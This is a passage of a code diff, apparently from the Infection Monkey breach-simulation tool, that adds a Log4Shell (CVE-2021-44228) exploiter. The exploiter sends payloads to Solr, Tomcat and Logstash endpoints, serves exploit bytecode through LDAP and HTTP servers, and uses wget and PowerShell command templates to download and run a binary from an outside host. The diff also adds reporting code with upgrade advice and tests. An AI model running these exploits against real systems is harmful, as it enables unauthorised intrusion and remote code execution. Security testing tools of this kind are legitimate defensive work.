self._server_process.is_alive(): + logger.debug("Stopping LDAP exploit server") + + # The Twisted reactor registers signal handlers so it can catch SIGTERM and gracefully + # shutdown. + self._server_process.terminate() + self._server_process.join(timeout) + + if self._server_process.is_alive(): + logger.warning("Timed out while waiting for the LDAP exploit server to stop") + else: + logger.debug("Successfully stopped the LDAP exploit server") diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py new file mode 100644 index 000000000..8b44e0e56 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py @@ -0,0 +1,10 @@ +from typing import List + +from .i_service_exploiter import IServiceExploiter +from .solr import SolrExploit +from .tomcat import TomcatExploit +from .logstash import LogStashExploit + + +def get_log4shell_service_exploiters() -> List[IServiceExploiter]: + return [SolrExploit(), TomcatExploit(), LogStashExploit()] diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py new file mode 100644 index 000000000..3d7951d76 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py @@ -0,0 +1,17 @@ +import abc + +from infection_monkey.model import VictimHost + + +class IServiceExploiter(metaclass=abc.ABCMeta): + @property + @abc.abstractmethod + def service_name(self) -> str: + # Should have the name of the exploited service + pass + + @staticmethod + @abc.abstractmethod + def trigger_exploit(payload: str, host: VictimHost, port: int) -> str: + # Return the URL the exploit was attempted on + raise NotImplementedError diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py new file mode 100644 index 000000000..d347a0e4f --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py @@ -0,0 +1,22 @@ +from logging import getLogger + +import requests + +from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter +from infection_monkey.model import VictimHost + +logger = getLogger(__name__) + + +class LogStashExploit(IServiceExploiter): + service_name = "LogStash" + + @staticmethod + def trigger_exploit(payload: str, host: VictimHost, port: int): + url = f"http://{host.ip_addr}:{port}/_node/hot_threads?human={payload}" + try: + requests.get(url, timeout=5, verify=False) # noqa DUO123 + except requests.ReadTimeout as e: + logger.debug(f"Log4shell request failed {e}") + + return url diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py new file mode 100644 index 000000000..a21d66a3a --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py @@ -0,0 +1,22 @@ +from logging import getLogger + +import requests + +from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter +from infection_monkey.model import VictimHost + +logger = getLogger(__name__) + + +class SolrExploit(IServiceExploiter): + service_name = "Apache Solr" + + @staticmethod + def trigger_exploit(payload: str, host: VictimHost, port: int): + url = f"http://{host.ip_addr}:{port}/solr/admin/cores?fu={payload}" + try: + requests.post(url, timeout=5, verify=False) # noqa DUO123 + except requests.ReadTimeout as e: + logger.debug(f"Log4shell request failed {e}") + + return url diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py new file mode 100644 index 000000000..68e0cfdf9 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py @@ -0,0 +1,23 @@ +from logging import getLogger + +import requests + +from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter +from infection_monkey.model import VictimHost + +logger = getLogger(__name__) + + +class TomcatExploit(IServiceExploiter): + service_name = "Apache Tomcat" + + @staticmethod + def trigger_exploit(payload: str, host: VictimHost, port: int): + url = f"http://{host.ip_addr}:{port}/examples/servlets/servlet/SessionExample" + payload = {"dataname": "foo", "datavalue": payload} + try: + requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 + except requests.ReadTimeout as e: + logger.debug(f"Log4shell request failed {e}") + + return url diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py index b029f211f..5efb7a64d 100644 --- a/monkey/infection_monkey/exploit/struts2.py +++ b/monkey/infection_monkey/exploit/struts2.py @@ -10,6 +10,7 @@ import ssl import urllib.error import urllib.parse import urllib.request +from typing import List, Tuple from infection_monkey.exploit.web_rce import WebRCE @@ -30,17 +31,10 @@ class Struts2Exploiter(WebRCE): exploit_config["dropper"] = True return exploit_config - def build_potential_urls(self, ports, extensions=None): - """ - We need to override this method to get redirected url's - :param ports: Array of ports. One port is described as size 2 array: [port.no(int), - isHTTPS?(bool)] - Eg. ports: [[80, False], [443, True]] - :param extensions: What subdirectories to scan. www.domain.com[/extension] - :return: Array of url's to try and attack - """ - url_list = super(Struts2Exploiter, self).build_potential_urls(ports) - url_list = [self.get_redirected(url) for url in url_list] + @staticmethod + def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None) -> List[str]: + url_list = WebRCE.build_potential_urls(ip, ports) + url_list = [Struts2Exploiter.get_redirected(url) for url in url_list] return url_list @staticmethod diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index a8ce60a40..715a94b1c 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -2,6 +2,7 @@ import logging import re from abc import abstractmethod from posixpath import join +from typing import List, Tuple from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 @@ -21,6 +22,7 @@ from infection_monkey.model import ( POWERSHELL_HTTP_UPLOAD, RUN_MONKEY, WGET_HTTP_UPLOAD, + VictimHost, ) from infection_monkey.network.tools import tcp_port_to_service from infection_monkey.telemetry.attack.t1197_telem import T1197Telem @@ -99,7 +101,9 @@ class WebRCE(HostExploiter): if not ports: return False # Get urls to try to exploit - potential_urls = self.build_potential_urls(ports, exploit_config["url_extensions"]) + potential_urls = self.build_potential_urls( + self.host.ip_addr, ports, exploit_config["url_extensions"] + ) self.add_vulnerable_urls(potential_urls, exploit_config["stop_checking_urls"]) if not self.are_vulnerable_urls_sufficient(): @@ -154,8 +158,12 @@ class WebRCE(HostExploiter): """ raise NotImplementedError() - def get_open_service_ports(self, port_list, names): + @staticmethod + def get_open_service_ports( + victim_host: VictimHost, port_list: List[Tuple[str, bool]], names: List[str] + ): # noqa: F821 """ + :param victim_host: VictimHost object that exploiter is targeting :param port_list: Potential ports to exploit. For example _config.HTTP_PORTS :param names: [] of service names. Example: ["http"] :return: Returns all open ports from port list that are of service names @@ -163,12 +171,12 @@ class WebRCE(HostExploiter): candidate_services = {} candidate_services.update( { - service: self.host.services[service] - for service in self.host.services + service: victim_host.services[service] + for service in victim_host.services if ( - self.host.services[service] - and "name" in self.host.services[service] - and self.host.services[service]["name"] in names + victim_host.services[service] + and "name" in victim_host.services[service] + and victim_host.services[service]["name"] in names ) } ) @@ -216,10 +224,12 @@ class WebRCE(HostExploiter): logger.error("Host's exploitability check failed due to: %s" % e) return False - def build_potential_urls(self, ports, extensions=None): + @staticmethod + def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None) -> List[str]: """ Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and extensions. + :param ip: IP address of the victim :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)] Eg. ports: [[80, False], [443, True]] @@ -237,9 +247,7 @@ class WebRCE(HostExploiter): protocol = "https" else: protocol = "http" - url_list.append( - join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension) - ) + url_list.append(join(("%s://%s:%s" % (protocol, ip, port[0])), extension)) if not url_list: logger.info("No attack url's were built") return url_list @@ -329,7 +337,7 @@ class WebRCE(HostExploiter): :return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?] """ - ports = self.get_open_service_ports(ports, names) + ports = WebRCE.get_open_service_ports(self.host, ports, names) if not ports: logger.info("All default web ports are closed on %r, skipping", str(self.host)) return False diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 7c39075be..c0429fc8b 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -60,4 +60,15 @@ HADOOP_LINUX_COMMAND = ( "&& %(monkey_path)s %(monkey_type)s %(parameters)s" ) +LOG4SHELL_LINUX_COMMAND = ( + "wget -O %(monkey_path)s %(http_path)s ;" + " chmod +x %(monkey_path)s ;" + " %(monkey_path)s %(monkey_type)s %(parameters)s" +) + +LOG4SHELL_WINDOWS_COMMAND = ( + 'powershell -NoLogo -Command "' + "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing; " + ' %(monkey_path)s %(monkey_type)s %(parameters)s"' +) DOWNLOAD_TIMEOUT = 180 diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index 7f740eeb2..e262feb19 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -108,14 +108,14 @@ else: return routes -def get_free_tcp_port(min_range=1000, max_range=65535): - start_range = min(1, min_range) +def get_free_tcp_port(min_range=1024, max_range=65535): + min_range = max(1, min_range) max_range = min(65535, max_range) in_use = [conn.laddr[1] for conn in psutil.net_connections()] for i in range(min_range, max_range): - port = randint(start_range, max_range) + port = randint(min_range, max_range) if port not in in_use: return port diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py b/monkey/monkey_island/cc/services/config_schema/basic.py index a9eb03d62..9151ff259 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic.py +++ b/monkey/monkey_island/cc/services/config_schema/basic.py @@ -17,6 +17,7 @@ BASIC = { "SmbExploiter", "WmiExploiter", "SSHExploiter", + "Log4ShellExploiter", "ShellShockExploiter", "ElasticGroovyExploiter", "Struts2Exploiter", diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 44463bbcd..56f81256b 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -147,5 +147,16 @@ EXPLOITER_CLASSES = { "link": "https://www.guardicore.com/infectionmonkey" "/docs/reference/exploiters/powershell", }, + { + "type": "string", + "enum": ["Log4ShellExploiter"], + "title": "Log4Shell Exploiter", + "safe": True, + "info": "Exploits a software vulnerability (CVE-2021-44228) in Apache Log4j, a Java " + "logging framework. Exploitation is attempted on the following services — " + "Apache Solr, Apache Tomcat, Logstash.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference" + "/exploiters/log4shell/", + }, ], } diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index 86318eaf1..9f3033435 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -97,7 +97,7 @@ INTERNAL = { "type": "array", "uniqueItems": True, "items": {"type": "integer"}, - "default": [80, 8080, 443, 8008, 7001, 9200], + "default": [80, 8080, 443, 8008, 7001, 9200, 8983, 9600], "description": "List of ports the monkey will check if are being used " "for HTTP", }, diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index 44e0c922a..7d7921b8b 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -8,6 +8,9 @@ from monkey_island.cc.services.reporting.issue_processing.exploit_processing.pro from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 ExploitProcessor, ) +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.log4shell import ( # noqa: E501 + Log4ShellProcessor, +) from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.shellshock_exploit import ( # noqa: E501 ShellShockExploitProcessor, ) @@ -48,6 +51,7 @@ class ExploiterDescriptorEnum(Enum): POWERSHELL = ExploiterDescriptor( "PowerShellExploiter", "PowerShell Remoting Exploiter", ExploitProcessor ) + LOG4SHELL = ExploiterDescriptor("Log4ShellExploiter", "Log4Shell Exploiter", Log4ShellProcessor) @staticmethod def get_by_class_name(class_name: str) -> ExploiterDescriptor: diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py index 087ee6a39..069d93a8d 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py @@ -21,3 +21,4 @@ class ExploiterReportInfo: port: Union[str, None] = None paths: Union[List[str], None] = None password_restored: Union[bool, None] = None + service: Union[str, None] = None diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/log4shell.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/log4shell.py new file mode 100644 index 000000000..62330e424 --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/log4shell.py @@ -0,0 +1,16 @@ +from monkey_island.cc.services.node import NodeService +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( # noqa: E501 + ExploiterReportInfo, +) + + +class Log4ShellProcessor: + @staticmethod + def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo: + ip_addr = exploit_dict["data"]["machine"]["ip_addr"] + machine = NodeService.get_node_hostname(NodeService.get_node_or_monkey_by_ip(ip_addr)) + port = exploit_dict["data"]["info"]["vulnerable_service"]["port"] + service = exploit_dict["data"]["info"]["vulnerable_service"]["service_name"] + return ExploiterReportInfo( + ip_address=ip_addr, machine=machine, type=class_name, port=port, service=service + ) diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 181110929..38c8593cb 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -1,6 +1,6 @@ { "name": "infection-monkey", - "version": "1.11.0", + "version": "1.13.0", "lockfileVersion": 1, "requires": true, "dependencies": { diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index f7c86151b..9f6667163 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -1,6 +1,6 @@ { "private": true, - "version": "1.12.0", + "version": "1.13.0", "name": "infection-monkey", "description": "Infection Monkey C&C UI", "scripts": { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 2850af42d..63d1d7e6f 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -29,6 +29,7 @@ import {wmiPasswordIssueReport, wmiPthIssueReport} from './security/issues/WmiIs import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues/SshIssue'; import {elasticIssueOverview, elasticIssueReport} from './security/issues/ElasticIssue'; import {shellShockIssueOverview, shellShockIssueReport} from './security/issues/ShellShockIssue'; +import {log4shellIssueOverview, log4shellIssueReport} from './security/issues/Log4ShellIssue'; import {ms08_067IssueOverview, ms08_067IssueReport} from './security/issues/MS08_067Issue'; import { crossSegmentIssueOverview, @@ -145,6 +146,11 @@ class ReportPageComponent extends AuthComponent { [this.issueContentTypes.REPORT]: zerologonIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, + 'Log4ShellExploiter': { + [this.issueContentTypes.OVERVIEW]: log4shellIssueOverview, + [this.issueContentTypes.REPORT]: log4shellIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, 'zerologon_pass_restore_failed': { [this.issueContentTypes.OVERVIEW]: zerologonOverviewWithFailedPassResetWarning }, diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js new file mode 100644 index 000000000..0adec1540 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js @@ -0,0 +1,30 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; +import {Button} from 'react-bootstrap'; + +export function log4shellIssueOverview() { + return (
  • Some servers are vulnerable to the Log4Shell remote code execution exploit.
  • ) +} + +export function log4shellIssueReport(issue) { + return ( + <> + Upgrade the Apache Log4j component to version 2.15.0 or later. + + The {issue.service} server {issue.machine} ({issue.ip_address}:{issue.port}) is vulnerable to the Log4Shell remote code execution attack. +
    + The attack was made possible due to an old version of Apache Log4j component ( + ). +
    + + ); +} diff --git a/monkey/tests/data_for_tests/invalid_log4j_bytecode_templates/MissingTag.class b/monkey/tests/data_for_tests/invalid_log4j_bytecode_templates/MissingTag.class new file mode 100644 index 000000000..e4192de0d Binary files /dev/null and b/monkey/tests/data_for_tests/invalid_log4j_bytecode_templates/MissingTag.class differ diff --git a/monkey/tests/data_for_tests/invalid_log4j_bytecode_templates/SourceCode.java b/monkey/tests/data_for_tests/invalid_log4j_bytecode_templates/SourceCode.java new file mode 100644 index 000000000..48f61ab65 --- /dev/null +++ b/monkey/tests/data_for_tests/invalid_log4j_bytecode_templates/SourceCode.java @@ -0,0 +1,5 @@ +public class SourceCode { + static { + System.out.println("Hello World!"); + } +} diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_builder.py b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_builder.py new file mode 100644 index 000000000..01d4f61c4 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_builder.py @@ -0,0 +1,34 @@ +import pytest + +from infection_monkey.exploit.log4shell_utils import ( + LINUX_EXPLOIT_TEMPLATE_PATH, + InvalidExploitTemplateError, + build_exploit_bytecode, +) + + +@pytest.fixture +def payload(): + return "bash -c 'touch /tmp/exploit-test'" + + +@pytest.fixture +def invalid_templates_dir(data_for_tests_dir): + return data_for_tests_dir / "invalid_log4j_bytecode_templates" + + +def test_inject_command(payload): + expected_bytecode = b"\x21" + payload.encode() + b"\x0c" + + exploit_bytecode = build_exploit_bytecode(payload, LINUX_EXPLOIT_TEMPLATE_PATH) + assert expected_bytecode in exploit_bytecode + + +def test_missing_injection_tag(invalid_templates_dir, payload): + with pytest.raises(InvalidExploitTemplateError): + build_exploit_bytecode(payload, invalid_templates_dir / "MissingTag.class") + + +def test_uncompiled_java_class(invalid_templates_dir, payload): + with pytest.raises(InvalidExploitTemplateError): + build_exploit_bytecode(payload, invalid_templates_dir / "SourceCode.java") diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py new file mode 100644 index 000000000..b22ef41da --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py @@ -0,0 +1,54 @@ +import pytest +import requests + +from infection_monkey.exploit.log4shell_utils import ExploitClassHTTPServer +from infection_monkey.network.info import get_free_tcp_port + + +@pytest.fixture +def ip(): + return "127.0.0.1" + + +@pytest.fixture +def port(): + return get_free_tcp_port() + + +@pytest.fixture +def java_class(): + return b"\xde\xad\xbe\xef" + + +@pytest.fixture +def server(ip, port, java_class): + server = ExploitClassHTTPServer(ip, port, java_class, 0.01) + server.run() + + yield server + + server.stop() + + +@pytest.fixture +def exploit_url(ip, port): + return f"http://{ip}:{port}/Exploit" + + +@pytest.mark.usefixtures("server") +def test_only_single_download_allowed(exploit_url, java_class): + response_1 = requests.get(exploit_url) + assert response_1.status_code == 200 + assert response_1.content == java_class + + response_2 = requests.get(exploit_url) + assert response_2.status_code == 429 + assert response_2.content != java_class + + +def test_exploit_class_downloded(server, exploit_url): + assert not server.exploit_class_downloaded() + + requests.get(exploit_url) + + assert server.exploit_class_downloaded() diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py new file mode 100644 index 000000000..6d0a8715b --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py @@ -0,0 +1,35 @@ +import pytest +from ldap3 import ALL_ATTRIBUTES, BASE, Connection, Server + +from infection_monkey.exploit.log4shell_utils import LDAPExploitServer +from infection_monkey.exploit.log4shell_utils.ldap_server import EXPLOIT_RDN +from infection_monkey.network.info import get_free_tcp_port + + +@pytest.mark.slow +def test_ldap_server(tmp_path): + http_ip = "172.10.20.30" + http_port = 9999 + ldap_port = get_free_tcp_port() + + ldap_server = LDAPExploitServer(ldap_port, http_ip, http_port, tmp_path) + ldap_server.run() + + server = Server(host="127.0.0.1", port=ldap_port) + conn = Connection(server, auto_bind=True) + conn.search( + search_base=EXPLOIT_RDN, + search_filter="(objectClass=*)", + search_scope=BASE, + attributes=ALL_ATTRIBUTES, + ) + + assert len(conn.response) == 1 + attributes = conn.response[0]["attributes"] + + assert attributes.get("objectClass", None) == ["javaNamingReference"] + assert attributes.get("javaClassName", None) == ["Exploit"] + assert attributes.get("javaCodeBase", None) == [f"http://{http_ip}:{http_port}/"] + assert attributes.get("javaFactory", None) == ["Exploit"] + + ldap_server.stop() diff --git a/vulture_allowlist.py b/vulture_allowlist.py index b57fe73ab..93e70d970 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -3,6 +3,7 @@ Everything in this file is what Vulture found as dead code but either isn't real dead or is kept deliberately. Referencing these in a file like this makes sure that Vulture doesn't mark these as dead again. """ +from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory from monkey_island.cc.models import Report fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37) @@ -64,6 +65,7 @@ HADOOP # unused variable (monkey/monkey_island/cc/services/reporting/issue_proc MSSQL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:44) DRUPAL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:48) POWERSHELL # (\monkey\monkey_island\cc\services\reporting\issue_processing\exploit_processing\exploiter_descriptor_enum.py:52) +ExploiterDescriptorEnum.LOG4SHELL _.do_POST # unused method (monkey/monkey_island/cc/server_utils/bootloader_server.py:26) PbaResults # unused class (monkey/monkey_island/cc/models/pba_results.py:4) internet_access # unused variable (monkey/monkey_island/cc/models/monkey.py:43) @@ -178,6 +180,7 @@ Report.recommendations Report.glance Report.meta_info Report.meta +LDAPServerFactory.buildProtocol # these are not needed for it to work, but may be useful extra information to understand what's going on WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23)